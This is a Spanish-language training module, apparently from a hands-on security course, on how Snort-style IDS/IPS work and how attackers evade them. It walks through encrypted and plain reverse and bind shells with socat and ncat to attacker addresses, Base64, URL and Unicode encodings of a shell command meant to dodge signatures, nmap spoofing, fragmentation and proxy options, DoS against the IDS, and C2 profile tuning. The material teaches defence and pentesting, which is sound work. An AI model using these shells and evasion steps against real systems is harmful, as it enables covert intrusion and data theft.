Network Security Solutions
Última actualización
Última actualización
Un Sistema de Detección de Intrusiones ( IDS ) es un sistema que detecta intrusiones en la red o en el sistema. Una analogía que me viene a la mente es la de un guardia mirando transmisiones en vivo desde diferentes cámaras de seguridad. Puede detectar un robo, pero no puede detenerlo por sí solo. Sin embargo, si este guardia puede contactar a otro guardia y pedirle que detenga al ladrón, la detección se convierte en prevención. Un Sistema de Prevención y Detección de Intrusiones (IDPS) o simplemente Sistema de Prevención de Intrusiones (IPS) es un sistema que puede detectar y prevenir intrusiones.
Comprender la diferencia entre detección y prevención es esencial. Snort es un sistema de prevención y detección de intrusiones en la red. En consecuencia, Snort se puede configurar como un IDS o un IPS. Para que Snort funcione como un IPS, necesita algún mecanismo para bloquear (drop
) las conexiones ofensivas. Esta capacidad requiere que Snort esté configurado como inline
puente entre dos o más tarjetas de red.
Como IDS de red basado en firmas , Snort se muestra en la siguiente figura.
La siguiente figura muestra cómo se puede configurar Snort como IPS si se configura en línea.
Las configuraciones de IDS se pueden dividir según su ubicación en la red en:
IDS basado en host (HIDS)
IDS basado en red (NIDS)
El IDS basado en host (HIDS) se instala en un sistema operativo junto con las otras aplicaciones en ejecución. Esta configuración le dará al HIDS la capacidad de monitorear el tráfico que entra y sale del host; además, puede monitorear los procesos que se ejecutan en el host.
El IDS basado en red (NIDS) es un dispositivo o servidor dedicado para monitorear el tráfico de la red. El NIDS debe estar conectado para que pueda monitorear todo el tráfico de red de la red o VLAN que queremos proteger. Esto se puede lograr conectando el NIDS a un puerto de monitor en el conmutador. El NIDS procesará el tráfico de la red para detectar tráfico malicioso.
En la siguiente figura, utilizamos dos círculos rojos para mostrar la diferencia en la cobertura de un HIDS frente a un NIDS.
Podemos clasificar el tráfico de red en:
Tráfico benigno : este es el tráfico habitual que esperamos tener y sobre el que no queremos que el IDS nos avise.
Tráfico malicioso : Se trata de tráfico anormal que no esperamos ver en condiciones normales y, en consecuencia, queremos que el IDS lo detecte.
De la misma manera que podemos clasificar el tráfico de la red, también podemos clasificar la actividad del host. El motor de detección de IDS se basa en la detección de tráfico y actividad maliciosos o en el reconocimiento del tráfico y la actividad normales. Reconocer lo "normal" facilita detectar cualquier desviación de lo normal.
En consecuencia, el motor de detección de un IDS puede ser:
Basado en firmas : un IDS basado en firmas requiere un conocimiento total del tráfico malicioso (o no deseado). En otras palabras, debemos proporcionar explícitamente al motor de detección basado en firmas las características del tráfico malicioso. Se puede enseñar al IDS sobre el tráfico malicioso utilizando reglas explícitas para comparar.
Basado en anomalías : esto requiere que el IDS tenga conocimiento de cómo se ve el tráfico regular. En otras palabras, necesitamos “enseñar” al IDS lo que es normal para que pueda reconocer lo que no es normal. Enseñar al IDS sobre el tráfico normal, es decir, el tráfico de referencia, se puede lograr mediante el aprendizaje automático o reglas manuales.
Dicho de otra manera, el IDS basado en firmas reconoce el tráfico malicioso, por lo que todo lo que no es malicioso se considera benigno (normal). Este enfoque se encuentra comúnmente en el software antivirus, que tiene una base de datos de firmas de virus conocidas. Todo lo que coincida con una firma se detecta como virus.
Un IDS basado en anomalías reconoce el tráfico normal, por lo que cualquier cosa que se desvíe de lo normal se considera malicioso. Este enfoque es más similar a cómo los seres humanos perciben las cosas; tiene ciertas expectativas de velocidad, rendimiento y capacidad de respuesta cuando inicia su navegador web. En otras palabras, sabes qué es "normal" para tu navegador. Si de repente nota que su navegador web es demasiado lento o no responde, sabrá que algo anda mal. En otras palabras, usted sabía cuando el rendimiento de su navegador se desviaba de lo normal.
Cada IDS/IPS tiene una sintaxis determinada para escribir sus reglas. Por ejemplo, Snort utiliza el siguiente formato para sus reglas: Rule Header (Rule Options)
, donde el encabezado de regla constituye:
Acción: Ejemplos de acción incluyen alert
, log
, pass
, drop
y reject
.
Protocolo: TCP
, UDP
, ICMP
, o IP
.
IP de origen/Puerto de origen: !10.10.0.0/16 any
se refiere a todo lo que no está en la subred de clase 10.10.0.0/16
B.
Dirección del flujo: ->
indica de izquierda (origen) a derecha (destino), mientras que <>
indica tráfico bidireccional.
IP de destino/Puerto de destino: para 10.10.0.0/16 any
referirse a la subred clase B.10.10.0.0/16
A continuación se muestra una regla de ejemplo para drop
todo el tráfico ICMP que pasa a través de Snort IPS :
drop icmp any any -> any any (msg: "ICMP Ping Scan"; dsize:0; sid:1000020; rev: 1;)
La regla anterior le indica al Snort IPS que descarte cualquier paquete de tipo ICMP desde cualquier dirección IP de origen (en cualquier puerto) a cualquier dirección IP de destino (en cualquier puerto). El mensaje que se agregará a los registros es "ICMP Ping Scan".
Consideremos un caso hipotético en el que se descubre una vulnerabilidad en nuestro servidor web. Esta vulnerabilidad radica en cómo nuestro servidor web maneja las solicitudes del método HTTP POST, lo que permite al atacante ejecutar comandos del sistema.
Consideremos el siguiente enfoque "ingenuo". Queremos crear una regla de Snort que detecte el término ncat
en la carga útil del tráfico intercambiado con nuestro servidor web para aprender cómo las personas explotan esta vulnerabilidad.
alert tcp any any <> any 80 (msg: "Netcat Exploitation"; content:"ncat"; sid: 1000030; rev:1;)
La regla anterior inspecciona el contenido de los paquetes intercambiados con el puerto 80 para la cadena ncat
. Alternativamente, puede optar por escribir el contenido que Snort buscará en formato hexadecimal. ncat
en ASCII se escribe como 6e 63 61 74
en hexadecimal y está encapsulado como una cadena por 2 caracteres de canalización |
.
alert tcp any any <> any 80 (msg: "Netcat Exploitation"; content:"|6e 63 61 74|"; sid: 1000031; rev:1;)
Podemos refinarlo aún más si esperamos verlo en solicitudes HTTP POST. Tenga en cuenta que flow:established
le dice al motor de Snort que mire las transmisiones iniciadas por un protocolo de enlace de tres vías TCP (conexiones establecidas).
alert tcp any any <> any 80 (msg: "Netcat Exploitation"; flow:established,to_server; content:"POST"; nocase; http_method; content:"ncat"; nocase; sid:1000032; rev:1;)
Si se elige el registro ASCII, los registros serían similares a las dos alertas que se muestran a continuación.
Hay algunos puntos que destacar sobre el IDS basado en firmas y sus reglas. Si el atacante hiciera incluso el más mínimo cambio para evitar el uso ncat
palabra por palabra en su carga útil, el ataque pasaría desapercibido. Como podemos concluir, un IDS o IPS basado en firmas está limitado a qué tan bien escritas y actualizadas estén sus firmas (reglas).
Evadir un IDS/IPS basado en firmas requiere que manipule su tráfico para que no coincida con ninguna firma IDS/IPS. Aquí hay cuatro enfoques generales que podría considerar para evadir los sistemas IDS/IPS.
Evasión mediante manipulación de protocolos
Evasión mediante manipulación de carga útil
Evasión mediante manipulación de ruta
Evasión mediante denegación táctica de servicio ( DoS )
Ampliaremos cada uno de estos enfoques en su propia tarea. Empecemos por el primero. La evasión mediante manipulación de protocolos incluye:
Confiar en un protocolo diferente
Manipulación del puerto TCP/UDP (fuente)
Uso de empalme de sesiones (fragmentación de paquetes IP)
Envío de paquetes no válidos
El sistema IDS/IPS puede estar configurado para bloquear ciertos protocolos y permitir otros. Por ejemplo, podría considerar usar UDP en lugar de TCP o confiar en HTTP en lugar de DNS para realizar un ataque o extraer datos. Puede utilizar el conocimiento que ha reunido sobre el objetivo y las aplicaciones necesarias para que la organización objetivo diseñe su ataque. Por ejemplo, si se permite la navegación web, normalmente significa que los hosts protegidos pueden conectarse a los puertos 80 y 443 a menos que se utilice un proxy local. En un caso, el cliente confiaba en los servicios de Google para su negocio, por lo que el atacante utilizó el alojamiento web de Google para ocultar su sitio malicioso. Desafortunadamente, no es una solución única para todos; Además, es posible que sea necesario realizar algunas pruebas y errores siempre que no genere demasiado ruido.
Tenemos un IPS configurado para bloquear consultas DNS y solicitudes HTTP en la siguiente figura. En particular, aplica la política según la cual las máquinas locales no pueden consultar servidores DNS externos, sino que deben consultar el servidor DNS local; además, impone comunicaciones HTTP seguras. Es relativamente permisivo cuando se trata de HTTPS. En este caso, utilizar HTTPS para canalizar el tráfico parece un enfoque prometedor para evadir el IPS.
Para escuchar usando TCP , simplemente indiquencat -lvnp PORT_NUM
dónde el número de puerto es el puerto que desea escuchar.
para conectarse a una instancia de Ncat que escucha en un puerto TCP , puede emitirncat TARGET_IP PORT_NUM
Tenga en cuenta que:
-l
le dice ncat
que escuche las conexiones entrantes
-v
obtiene una salida más detallada a medida que ncat
se vincula a un puerto de origen y recibe una conexión
-n
evita resolver nombres de host
-p
especifica el número de puerto que ncat
escuchará
Como ya se mencionó, el uso -u
moverá todas las comunicaciones a través de UDP .
Para escuchar usando UDP , simplemente indiquencat -ulvnp PORT_NUM
dónde el número de puerto es el puerto que desea escuchar. Tenga en cuenta que, a menos que agregue -u
, ncat
utilizará TCP de forma predeterminada.
Para conectarse a una instancia de Ncat que escucha en un puerto UDP , puede emitirnc -u TARGET_IP PORT_NUM
Considere los siguientes dos ejemplos:
Ejecutar ncat -lvnp 25
el sistema atacante y conectarse a él dará la impresión de que se trata de una conexión TCP habitual con un servidor SMTP, a menos que el IDS/IPS proporcione una inspección profunda de paquetes (DPI).
Ejecutarlo ncat -ulvnp 162
en la máquina atacante y conectarse a ella dará la ilusión de que se trata de una comunicación UDP normal con un servidor SNMP, a menos que el IDS/IPS admita DPI.
En términos generales, los puertos de origen y destino TCP y UDP son inspeccionados incluso por las soluciones de seguridad más básicas. Sin una inspección profunda de paquetes, los números de puerto son el principal indicador del servicio utilizado. En otras palabras, el tráfico de red que involucra el puerto TCP 22 se interpretaría como tráfico SSH a menos que la solución de seguridad pueda analizar los datos transportados por los segmentos TCP.
Dependiendo de la solución de seguridad de destino, puede hacer que el tráfico de escaneo de puertos se parezca a la navegación web o a las consultas DNS . Si está utilizando Nmap, puede agregar la opción-g PORT_NUMBER
(o --source-port PORT_NUMBER
) para hacer que Nmap envíe todo su tráfico desde un número de puerto de origen específico.
Mientras escanea un objetivo, utilícelo nmap -sS -Pn -g 80 -F MACHINE_IP
para hacer que el tráfico de escaneo del puerto parezca intercambiado con un servidor HTTP a primera vista.
Si está interesado en escanear puertos UDP , puede utilizar nmap -sU -Pn -g 53 -F MACHINE_IP
para hacer que el tráfico parezca intercambiado con un servidor DNS .
En la máquina atacante, si desea utilizar Ncat para escuchar en el puerto UDP 53, como lo haría un servidor DNS, puede utilizarncat -ulvnp 53
.
En el objetivo, puede hacer que se conecte al servidor de escucha usando ncat -u ATTACKER_IP 53
.
Alternativamente, puede hacer que parezca más tráfico web donde los clientes se comunican con un servidor HTTP .
En la máquina atacante, para hacer que Ncat escuche en el puerto TCP 80, como un servidor web benigno, puede usarncat -lvnp 80
.
En el destino, conéctese al servidor de escucha mediante nc ATTACKER_IP 80
.
Otro enfoque posible en IPv4 es la fragmentación de paquetes IP, es decir, el empalme de sesiones. La suposición es que si divide los paquetes relacionados con un ataque en paquetes más pequeños, evitará que coincidan las firmas IDS . Si el IDS busca un flujo particular de bytes para detectar la carga útil maliciosa, divida su carga útil entre varios paquetes. A menos que el IDS vuelva a ensamblar los paquetes, la regla no se activará.
Nmap ofrece algunas opciones para fragmentar paquetes. Puedes añadir:
-f
para configurar los datos en el paquete IP en 8 bytes.
-ff
para limitar los datos en el paquete IP a 16 bytes como máximo.
--mtu SIZE
para proporcionar un tamaño personalizado para los datos transportados dentro del paquete IP. El tamaño debe ser múltiplo de 8.
Por ejemplo, puede crear un archivo de configuración fragroute.conf
con una línea, ip_frag 16
para fragmentar paquetes donde los fragmentos de datos IP no superen los 16 bytes. Luego ejecutarías el comando fragroute -f fragroute.conf HOST
. El host es el destino al que le enviaríamos los paquetes fragmentados.
En términos generales, la respuesta de los sistemas a paquetes válidos tiende a ser predecible. Sin embargo, puede no estar claro cómo responderían los sistemas a paquetes no válidos. Por ejemplo, un IDS/IPS podría procesar un paquete no válido, mientras que el sistema de destino podría ignorarlo. El comportamiento exacto requeriría algo de experimentación o conocimiento interno.
Nmap permite crear paquetes no válidos de diversas formas. En particular, dos opciones comunes serían escanear el objetivo utilizando paquetes que tengan:
Suma de comprobación TCP/UDP no válida
Banderas TCP no válidas
Nmap le permite enviar paquetes con una suma de comprobación TCP/UDP incorrecta usando la opción--badsum
. Una suma de verificación incorrecta indica que el paquete original ha sido alterado en algún lugar a lo largo de su ruta desde el programa emisor.
Nmap también le permite enviar paquetes con indicadores TCP personalizados, incluidos los no válidos. La opción--scanflags
le permite elegir qué banderas desea configurar.
URG
para urgente
ACK
para reconocer
PSH
para empujar
RST
para restablecer
SYN
para sincronizar
FIN
para terminar
Por ejemplo, si desea configurar los indicadores Sincronizar, Restablecer y Finalizar simultáneamente, puede usar --scanflags SYNRSTFIN
, aunque esta combinación puede no ser beneficiosa para sus propósitos.
Si desea diseñar sus paquetes con campos personalizados, ya sean válidos o no válidos, es posible que desee considerar una herramienta como hping3
. Enumeraremos algunas opciones de ejemplo para darle una idea de cómo crear paquetes usando hping3
.
-t
o --ttl
para configurar el tiempo de vida en el encabezado IP
-b
o --badsum
enviar paquetes con una suma de comprobación UDP/TCP incorrecta
-S
, -A
, -P
, -U
, -F
, -R
para configurar los indicadores TCP SYN, ACK, PUSH, URG, FIN y RST, respectivamente
Hay muchas otras opciones. Dependiendo de sus necesidades, es posible que desee consultar la hping3
página del manual para obtener la lista completa.
La evasión mediante manipulación de carga útil incluye:
Ofuscar y codificar la carga útil
Cifrar el canal de comunicación.
Modificando el código shell
Debido a que las reglas de IDS son muy específicas, puede realizar cambios menores para evitar la detección. Los cambios incluyen agregar bytes adicionales, ofuscar los datos del ataque y cifrar la comunicación.
Considere el comando ncat -lvnp 1234 -e /bin/bash
, donde ncat
escuchará en el puerto TCP 1234 y conectará cualquier conexión entrante al shell Bash. Existen algunas transformaciones comunes, como Base64, codificación de URL y secuencia de escape Unicode, que puede aplicar a su comando para evitar activar firmas IDS/IPS.
Puede utilizar una de las muchas herramientas en línea que codifican su entrada en Base64. Alternativamente, puede utilizar base64
los que se encuentran comúnmente en los sistemas Linux .
Terminal Pentester
ncat -lvnp 1234 -e /bin/bash
está codificado en bmNhdCAtbHZucCAxMjM0IC1lIC9iaW4vYmFzaA==
.
Una utilidad que puedes instalar fácilmente en tu sistema Linuxurlencode
es ; Alternativamente, puede utilizar un servicio en línea o buscar utilidades similares en MS Windows y macOS. Para seguir adelante con AttackBox, puede instalarlo urlencode
ejecutando el comando apt install gridsite-clients
.
Terminal Pentester
ncat -lvnp 1234 -e /bin/bash
se convierte ncat%20-lvnp%201234%20-e%20%2Fbin%2Fbash
después de la codificación URL. Dependiendo de con qué coincida la firma IDS/IPS, la codificación de URL puede ayudar a evadir la detección.
Buscar caracteres Unicode de escape
Arrástrelo a la columna Receta
Asegúrese de tener una marca de verificación cerca de Codificar todos los caracteres con un prefijo de\u
Asegúrese de tener una marca de verificación cerca del hexadecimal mayúscula con un relleno de 4
Debido a que un IDS/IPS no inspecciona los datos cifrados, un atacante puede aprovechar el cifrado para evadir la detección. A diferencia de la codificación, el cifrado requiere una clave de cifrado.
Un enfoque directo es crear la clave de cifrado necesaria en el sistema del atacante y configurarla socat
para que utilice la clave de cifrado para imponer el cifrado mientras escucha las conexiones entrantes. Un shell inverso cifrado se puede realizar en tres pasos:
Crea la clave
Escuche en la máquina del atacante
Conéctese a la máquina del atacante
En primer lugar , en AttackBox o cualquier sistema Linux , podemos crear la clave usandoopenssl
.
openssl req -x509 -newkey rsa:4096 -days 365 -subj '/CN=www.redteam.thm/O=Red Team THM/C=UK' -nodes -keyout thm-reverse.key -out thm-reverse.crt
Los argumentos del comando anterior son:
req
indica que se trata de una solicitud de firma de certificado. Obviamente, no enviaremos nuestro certificado para su firma.
-x509
especifica que queremos un certificado X.509
-newkey rsa:4096
crea una nueva solicitud de certificado y una nueva clave privada utilizando RSA, con un tamaño de clave de 4096 bits. (Puede utilizar otras opciones para el tamaño de clave RSA, como -newkey rsa:2048
.)
-days 365
muestra que la validez de nuestro certificado será de un año
-subj
establece datos, como organización y país, a través de la línea de comando.
-nodes
simplifica nuestro comando y no cifra la clave privada
-keyout PRIVATE_KEY
especifica el nombre del archivo donde queremos guardar nuestra clave privada
-out CERTIFICATE
especifica el nombre del archivo en el que queremos escribir la solicitud de certificado
El comando anterior devuelve:
Llave privada:thm-reverse.key
Certificado:thm-reverse.crt
El archivo Privacy Enhanced Mail (PEM) .pem
requiere la concatenación de la clave privada .key
y los .crt
archivos de certificado. Podemos usar cat
para crear nuestro archivo PEM a partir de los dos archivos que acabamos de crear:
cat thm-reverse.key thm-reverse.crt > thm-reverse.pem
.
En segundo lugar , con el archivo PEM listo, podemos comenzar a escuchar mientras usamos la clave para cifrar la comunicación con el cliente.
socat -d -d OPENSSL-LISTEN:4443,cert=thm-reverse.pem,verify=0,fork STDOUT
Si no está familiarizado con socat
, las opciones que utilizamos son:
-d -d
proporciona algunos datos de depuración (mensajes fatales, de error, de advertencia y de aviso)
OPENSSL-LISTEN:PORT_NUM
indica que la conexión se cifrará utilizando OPENSSL
cert=PEM_FILE
proporciona el archivo PEM (certificado y clave privada) para establecer la conexión cifrada
verify=0
deshabilita la verificación del certificado del par
fork
crea un subproceso para manejar cada nueva conexión.
En tercer lugar , sobre el sistema de víctimas socat OPENSSL:10.20.30.1:4443,verify=0 EXEC:/bin/bash
. Tenga en cuenta que EXEC
invoca el programa especificado.
Demostremos esto. En el sistema atacante, llevamos a cabo lo siguiente:
Terminal Pentester
Como tenemos un oyente en el sistema atacante, cambiamos a la máquina víctima y ejecutamos lo siguiente:
De vuelta al sistema atacante, ejecutemos cat /etc/passwd
:
Sin embargo, si el IDS/ IPS inspecciona el tráfico, todos los datos del paquete se cifrarán. En otras palabras, el IPS será completamente ajeno al tráfico de intercambio y a comandos comocat /etc/passwd
. La siguiente captura de pantalla muestra cómo aparecen las cosas en el cable cuando se capturan con Wireshark. El paquete resaltado contiene cat /etc/passwd
; sin embargo, está cifrado.
Como puede ver, no es posible entender los comandos o los datos que se intercambian. Para ver mejor el valor de la capa agregada de cifrado, la compararemos con una socat
conexión equivalente que no utiliza cifrado.
En el sistema del atacante, ejecutamos socat -d -d TCP-LISTEN:4443,fork STDOUT
.
En la máquina de la víctima, ejecutamos socat TCP:10.20.30.129:4443 EXEC:/bin/bash
.
De vuelta en el sistema del atacante, escribimos cat /etc/passwd
y presionamos Enter/Return.
Debido a que no se utilizó cifrado, la captura del tráfico intercambiado entre los dos sistemas expondrá los comandos y el tráfico intercambiado. En la siguiente captura de pantalla podemos ver el comando enviado por el atacante.
Además, es una tarea trivial seguir el flujo TCP ya que está en texto sin cifrar y aprender todo lo que se intercambia entre el atacante y el sistema objetivo. La siguiente captura de pantalla utiliza la opción "Seguir secuencia TCP" de Wireshark.
Considere el caso simple en el que desea utilizar Ncat para crear un shell de enlace. El siguiente comando ncat -lvnp 1234 -e /bin/bash
le indica ncat
que escuche en el puerto TCP 1234 y vincule el shell Bash a él. Si desea detectar paquetes que contengan dichos comandos, debe pensar en algo específico que coincida con la firma, pero no demasiado específico.
El escaneo ncat -lvnp
se puede evadir fácilmente cambiando el orden de las banderas.
Por otro lado, la inspección de la carga útil ncat -
se puede evitar agregando un espacio en blanco adicional, como ncat -
el que aún se ejecutaría correctamente en el sistema de destino.
Si el IDS está buscandoncat
, los cambios simples en el comando original no evadirán la detección. Necesitamos considerar enfoques más sofisticados dependiendo del sistema/aplicación de destino. Una opción sería utilizar un comando diferente como nc
o socat
. Alternativamente, puede considerar una codificación diferente si el sistema de destino puede procesarla correctamente.
La evasión mediante manipulación de rutas incluye:
Confiar en el enrutamiento de origen
Usando servidores proxy
En muchos casos, puede utilizar el enrutamiento de origen para obligar a los paquetes a utilizar una ruta determinada para llegar a su destino. Nmap proporciona esta característica usando la opción --ip-options
. Nmap ofrece enrutamiento flexible y estricto:
El enrutamiento suelto se puede especificar usando L
. Por ejemplo, --ip-options "L 10.10.10.50 10.10.50.250"
solicita que sus paquetes de escaneo se enruten a través de las dos direcciones IP proporcionadas.
Se puede especificar un enrutamiento estricto mediante S
. El enrutamiento estricto requiere que usted configure cada salto entre su sistema y el host de destino. Por ejemplo, --ip-options "S 10.10.10.1 10.10.20.2 10.10.30.3"
especifica que los paquetes pasan por estos tres saltos antes de llegar al host de destino.
El uso de servidores proxy puede ayudar a ocultar su fuente. Nmap ofrece la opción--proxies
que toma una lista de URL de proxy separadas por comas. Cada URL debe expresarse en el formato proto://host:port
. Los protocolos válidos son HTTP y SOCKS4; Además, actualmente no se admite la autenticación.
Considere el siguiente ejemplo. En lugar de ejecutar nmap -sS MACHINE_IP
, editaría su comando Nmap a algo como nmap -sS HTTP://PROXY_HOST1:8080,SOCKS4://PROXY_HOST2:4153 MACHINE_IP
. De esta manera, haría que su escaneo pasara por el host1 del proxy HTTP y luego por el host2 del proxy SOCKS4, antes de alcanzar su objetivo. Es importante tener en cuenta que encontrar un proxy confiable requiere algo de prueba y error antes de poder confiar en él para ocultar la fuente de escaneo de Nmap.
Si utiliza su navegador web para conectarse al objetivo, sería una tarea sencilla pasar su tráfico a través de un servidor proxy. Otras herramientas de red suelen proporcionar sus propias configuraciones de proxy que puede utilizar para ocultar su fuente de tráfico.
La evasión mediante DoS táctico incluye:
Lanzamiento de denegación de servicio contra el IDS/IPS
Lanzamiento de denegación de servicio contra el servidor de registro
Un IDS /IPS requiere una alta potencia de procesamiento a medida que crece el número de reglas y aumenta el volumen de tráfico de la red. Además, especialmente en el caso de IDS, la respuesta principal es registrar información de tráfico que coincida con la firma. En consecuencia, podría resultarle beneficioso si puede:
Cree una enorme cantidad de tráfico benigno que simplemente sobrecargaría la capacidad de procesamiento del IDS/IPS.
Cree una cantidad masiva de tráfico no malicioso que aún así llegaría a los registros. Esta acción congestionaría el canal de comunicación con el servidor de registro o excedería su capacidad de escritura en disco.
También vale la pena señalar que el objetivo de su ataque puede ser el operador de IDS . Al provocar una gran cantidad de falsos positivos, puede causar fatiga al operador frente a su "adversario".
Los marcos de pentesting, como Cobalt Strike y Empire, ofrecen perfiles de comando y control ( C2 ) maleables. Estos perfiles permiten varios ajustes para evadir los sistemas IDS/IPS. Si está utilizando un marco de este tipo, vale la pena crear un perfil personalizado en lugar de depender de uno predeterminado. Entre los ejemplos de variables que puede controlar se incluyen los siguientes:
Agente de usuario : la herramienta o marco que está utilizando puede exponerlo a través de su agente de usuario predeterminado. Por lo tanto, siempre es importante configurar el agente de usuario en algo inofensivo y probarlo para confirmar su configuración.
Tiempo de sueño : el tiempo de sueño le permite controlar el intervalo de devolución de llamada entre los registros de baliza. En otras palabras, puede controlar la frecuencia con la que el sistema infectado intentará conectarse al sistema de control.
Jitter : esta variable le permite agregar algo de aleatoriedad al tiempo de sueño, especificado por el porcentaje de jitter. Una fluctuación del 30 % da como resultado un tiempo de suspensión de ±30 % para evadir aún más la detección.
Certificado SSL : el uso de su certificado SSL de aspecto auténtico mejorará significativamente sus posibilidades de evadir la detección. Es una inversión de tiempo muy valiosa.
Baliza DNS : considere el caso en el que está utilizando el protocolo DNS para filtrar datos. Puede ajustar las balizas DNS configurando los servidores DNS y el nombre de host en la consulta DNS. El nombre de host contendrá los datos extraídos.
Capacidades IPS estándar de primera generación : un IPS de red de próxima generación debería lograr lo que puede hacer un IPS de red tradicional.
Conocimiento de aplicaciones y visibilidad completa: identifique el tráfico de varias aplicaciones y aplique la política de seguridad de la red. Un NGNIPS debe poder comprender hasta la capa de aplicación.
Conciencia del contexto: utilice información de fuentes externas al IPS para ayudar a bloquear decisiones.
Conciencia de contenido: capaz de inspeccionar y clasificar archivos, como programas y documentos ejecutables, en el tráfico entrante y saliente.
Motor ágil: admite rutas de actualización para beneficiarse de nuevas fuentes de información.
Esta sala se centra en la evasión utilizando nmap
y ncat
/ socat
. Las técnicas de evasión relacionadas con Nmap se analizan con gran detalle en la sala . Esta habitación resaltará ncat
y socat
en su caso.
Considere el caso en el que está utilizando . Ncat, de forma predeterminada, utiliza una conexión TCP ; sin embargo, puedes hacer que use UDP usando la opción-u
.
Considere el caso en el que está utilizando . Puede intentar camuflar el tráfico como si fuera tráfico DNS .
Suponga que desea forzar que todos sus paquetes se fragmenten en tamaños específicos. En ese caso, deberías considerar el uso de un programa como . fragroute
Se puede configurar para leer un conjunto de reglas de un archivo de configuración determinado y aplicarlas a los paquetes entrantes. Para una fragmentación simple de paquetes IP, sería suficiente usar un archivo de configuración para ip_frag SIZE
fragmentar los datos IP de acuerdo con el tamaño proporcionado. El tamaño debe ser múltiplo de 8.
La codificación de URL convierte ciertos caracteres al formato %HH, donde HH es la representación ASCII hexadecimal. Las letras inglesas, el punto, el guión y el guión bajo no se ven afectados. Puede consultar para obtener más información.
Algunas aplicaciones seguirán procesando su entrada y la ejecutarán correctamente si utiliza Unicode de escape. Hay varias formas de utilizar Unicode de escape según el sistema que procese la cadena de entrada. Por ejemplo, puede utilizar para seleccionar y configurar la receta de Escape de caracteres Unicode como se muestra en la imagen a continuación.
Si usa el formato \uXXXX
, entonces ncat -lvnp 1234 -e /bin/bash
se convierte en \u006e\u0063\u0061\u0074\u0020\u002d\u006c\u0076\u006e\u0070\u0020\u0031\u0032\u0033\u0034\u0020\u002d\u0065\u0020\u002f\u0062\u0069\u006e\u002f\u0062\u0061\u0073\u0068
. Es claramente una transformación drástica que le ayudaría a evadir la detección, suponiendo que el sistema de destino la interprete correctamente y la ejecute.
Este muestra cómo se elabora un perfil.
La red IPS de próxima generación (NGNIPS) tiene las siguientes cinco características según :
Debido a que un Firewall de Próxima Generación (NGFW) proporciona la misma funcionalidad que un IPS, parece que el término NGNIPS está perdiendo popularidad por el bien de NGFW. Puedes leer más sobre NGFW en la sala .